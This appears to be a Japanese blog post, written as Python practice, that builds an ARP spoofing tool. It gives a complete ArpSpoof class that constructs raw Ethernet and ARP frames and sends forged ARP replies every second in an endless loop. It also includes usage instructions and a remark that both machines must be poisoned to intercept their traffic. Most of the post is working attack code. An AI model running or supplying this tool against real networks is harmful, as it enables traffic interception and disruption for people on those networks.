【Python】ARPを使ったネットワークプログラミング
Pythonの勉強のためARPスプーフィングツールを作り検証したいと思います。
ARPスプーフィングはターゲットのarpテーブルを書きかえるテクニックでしたね。
仕組みについては以前c言語で実装した時にまとめました。
ソケット作成
今回はethernetからまるごとパケットを作成します。
そのためプロトコルファミリーにAF_PACKETを指定します。
作成したソケットとネットワークインターフェースをbindします。
self.soc = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
self.soc.bind((interface, 0))
パケット作成
ethernetパケットとarpパケットを作ります。
面倒な部分はmacアドレスをバイナリに変換する処理ですかね。
ポートスキャンの時と同様struct.packを使ってうまい具合にパケットを構築します。
# macアドレスを上手いこと変換。形式が正しいかなど厳密に確認しない
def mac_to_string(self, mac_arg):
mac = ["00" for _ in range(6)]
mac_list = mac_arg.split(":")
for i in range(len(mac_list)):
mac[i] = mac_list[i]
mac_bin = ""
for m in mac:
mac_bin += struct.pack("!B", int(m,16))
return mac_bin
# ethernetパケット作成
def make_ether(self, s_mac, d_mac):
return struct.pack("!6s6sH", d_mac, s_mac, 0x0806)
# arpパケット作成
def make_arp(self, s_mac, d_mac, s_ip, d_ip):
# hardware type, protocol type, hardware address length, protocol address length, operation
return struct.pack("!HHBBH6s4s6s4s", 0x1, 0x0800, 6, 4, 1, s_mac, s_ip, d_mac, d_ip)
ソースコードのすべて
面倒な処理はクラスに放り込んでしまいましょう。
spoofメソッドで一秒ごとに死ぬまでパケットを送信し続けます。
# coding: utf-8
import socket
import struct
import sys
import time
class ArpSpoof:
def __init__(self, interface):
self.soc = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
self.soc.bind((interface, 0))
def __del__(self):
self.soc.close()
# スプーフィングを開始します
def spoof(self,s_mac,d_mac,s_ip,d_ip):
print("spoofing ...")
s_mac = self.mac_to_string(s_mac)
d_mac = self.mac_to_string(d_mac)
s_ip = socket.inet_aton(s_ip)
d_ip = socket.inet_aton(d_ip)
ether = self.make_ether(s_mac,d_mac)
arp = self.make_arp(s_mac, d_mac, s_ip, d_ip)
packet = ether+arp
while True:
print("- send arp packet")
self.soc.send(packet)
time.sleep(1)
# macアドレスを上手いこと変換。形式が正しいかは確認しない
def mac_to_string(self, mac_arg):
mac = ["00" for _ in range(6)]
mac_list = mac_arg.split(":")
for i in range(len(mac_list)):
mac[i] = mac_list[i]
mac_bin = ""
for m in mac:
mac_bin += struct.pack("!B", int(m,16))
return mac_bin
# ethernetパケット作成
def make_ether(self, s_mac, d_mac):
return struct.pack("!6s6sH", d_mac, s_mac, 0x0806)
# arpパケット作成
def make_arp(self, s_mac, d_mac, s_ip, d_ip):
# arp type, ip type, hardwareaddress length, ip address length, operation
return struct.pack("!HHBBH6s4s6s4s", 0x1, 0x0800, 6, 4, 1, s_mac, s_ip, d_mac, d_ip)
動作確認
クラスの使い方です。
arp = ArpSpoof({インターフェース名})
arp.spoof({送信元macアドレス}, {送信先macアドレス}, {送信元ipアドレス}, {送信先ipアドレス})
単にターゲットのarpテーブルを書きかえるだけならこれだけでいいですが、
二台のマシンの通信を傍受したい場合二台ともarpテーブルを書きえかる必要があります。
最後に
Rustやc言語で実装した時よりもソースコード量を抑えることができました。
scapyを使えばさらに簡単に書くことができると思います。